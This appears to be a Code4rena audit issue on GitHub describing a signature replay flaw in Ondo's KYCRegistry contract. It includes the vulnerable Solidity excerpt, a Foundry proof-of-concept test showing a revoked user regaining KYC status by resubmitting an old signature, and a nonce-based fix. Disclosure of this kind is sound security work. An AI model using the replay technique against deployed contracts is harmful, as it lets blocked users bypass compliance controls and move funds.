Skip to content

KYCRegistry is susceptible to signature replay attack. #187

Open
@code423n4

Description

@code423n4

Lines of code

https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/cash/kyc/KYCRegistry.sol#L79-L112

Vulnerability details

Impact

The KYCRegistry contract uses signatures to grant KYC status to the users using the addKYCAddressViaSignature function.

However this function does not prevent replaying of signatures in the case where KYC status was revoked of a user.

  function addKYCAddressViaSignature( ... ) external {
    require(v == 27 || v == 28, "KYCRegistry: invalid v value in signature");
    require(
      !kycState[kycRequirementGroup][user],
      "KYCRegistry: user already verified"
    );
    require(block.timestamp <= deadline, "KYCRegistry: signature expired");
    bytes32 structHash = keccak256(
      abi.encode(_APPROVAL_TYPEHASH, kycRequirementGroup, user, deadline)
    );

    bytes32 expectedMessage = _hashTypedDataV4(structHash);

    address signer = ECDSA.recover(expectedMessage, v, r, s);
    _checkRole(kycGroupRoles[kycRequirementGroup], signer);

    kycState[kycRequirementGroup][user] = true;
    // ...
  }

This function could be exploited in the case when these conditions are true:

  • KYC status was granted to user using a signature with validity upto deadline.
  • Before the deadline was passed, the KYC status of user was revoke using the removeKYCAddresses function.

In the above mentioned conditions the malicious user can submit the original signature again to the addKYCAddressViaSignature function which will forcefully grant the KYC status to malicious user again.

It should also be noted that due to this bug until the deadline has been passed the privileged accounts cannot revoke the KYC status of a KYC granted user. This can result in unwanted moving of funds by the user in/out of Ondo protocol.

Proof of Concept

Test file created BugTest.t.sol and was run by forge test --mp ./forge-tests/BugTest1.t.sol

pragma solidity 0.8.16;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";

import "contracts/cash/kyc/KYCRegistry.sol";

contract SanctionsList {
    function isSanctioned(address) external pure returns (bool) {
        return false;
    }
}
struct KYCApproval {
    uint256 kycRequirementGroup;
    address user;
    uint256 deadline;
}

contract BugTest1 is Test {
    bytes32 APPROVAL_TYPEHASH;
    bytes32 DOMAIN_SEPARATOR;
    KYCRegistry registry;

    address admin;
    address kycAgent;
    uint256 kycAgentPrivateKey = 0xB0B;
    address attacker;

    function setUp() public {
        admin = address(0xad);
        attacker = address(0xbabe);
        kycAgent = vm.addr(kycAgentPrivateKey);
        registry = new KYCRegistry(admin, address(new SanctionsList()));
        APPROVAL_TYPEHASH = registry._APPROVAL_TYPEHASH();
        DOMAIN_SEPARATOR = registry.DOMAIN_SEPARATOR();
    }

    function test_bug() public {
        uint256 kycGroup = 1;
        bytes32 kycGroupRole = "0x01";
        vm.prank(admin);
        registry.assignRoletoKYCGroup(kycGroup, kycGroupRole);
        vm.prank(admin);
        registry.grantRole(kycGroupRole, kycAgent);
        vm.stopPrank();

        uint256 deadline = block.timestamp + 1 days;
        KYCApproval memory approval = KYCApproval({
            kycRequirementGroup: kycGroup,
            user: attacker,
            deadline: deadline
        });
        bytes32 digest = getTypedDataHash(approval);
        // KYC approval got signed with validity of 1 day
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(kycAgentPrivateKey, digest);

        assertEq(registry.kycState(kycGroup, attacker), false);
        assertEq(registry.getKYCStatus(kycGroup, attacker), false);

        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);

        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true);

        address[] memory toBeRemovedAddrs = new address[](1);
        toBeRemovedAddrs[0] = attacker;
        // KYC approval was removed
        vm.prank(kycAgent);
        registry.removeKYCAddresses(kycGroup, toBeRemovedAddrs);
        vm.stopPrank();
        assertEq(registry.getKYCStatus(kycGroup, attacker), false);

        // KYC approval was granted again by replaying the original signature
        vm.prank(attacker);
        registry.addKYCAddressViaSignature(kycGroup, attacker, deadline, v, r, s);
        assertEq(registry.kycState(kycGroup, attacker), true);
        assertEq(registry.getKYCStatus(kycGroup, attacker), true);
    }

    function getStructHash(KYCApproval memory _approval) internal view returns (bytes32) {
        return keccak256(abi.encode(APPROVAL_TYPEHASH, _approval.kycRequirementGroup, _approval.user, _approval.deadline));
    }

    function getTypedDataHash(KYCApproval memory _approval) public view returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, getStructHash(_approval)));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

A nonce mapping for message signers can be maintained the value of which can be incremented for every successful signature validation.

mapping(address => uint) private nonces;

A more detailed usage example can be found in OpenZeppelin's EIP-2612 implementation.
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC20Permit.sol#L90

Metadata

Metadata

Assignees

No one assigned

    Labels

    2 (Med Risk)Assets not at direct risk, but function/availability of the protocol could be impacted or leak valueM-04bugSomething isn't workingdisagree with severitySponsor confirms validity, but disagrees with warden’s risk assessment (sponsor explain in comments)downgraded by judgeJudge downgraded the risk level of this issueprimary issuesatisfactorysatisfies C4 submission criteria; eligible for awardsselected for reportThis submission will be included/highlighted in the audit report

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions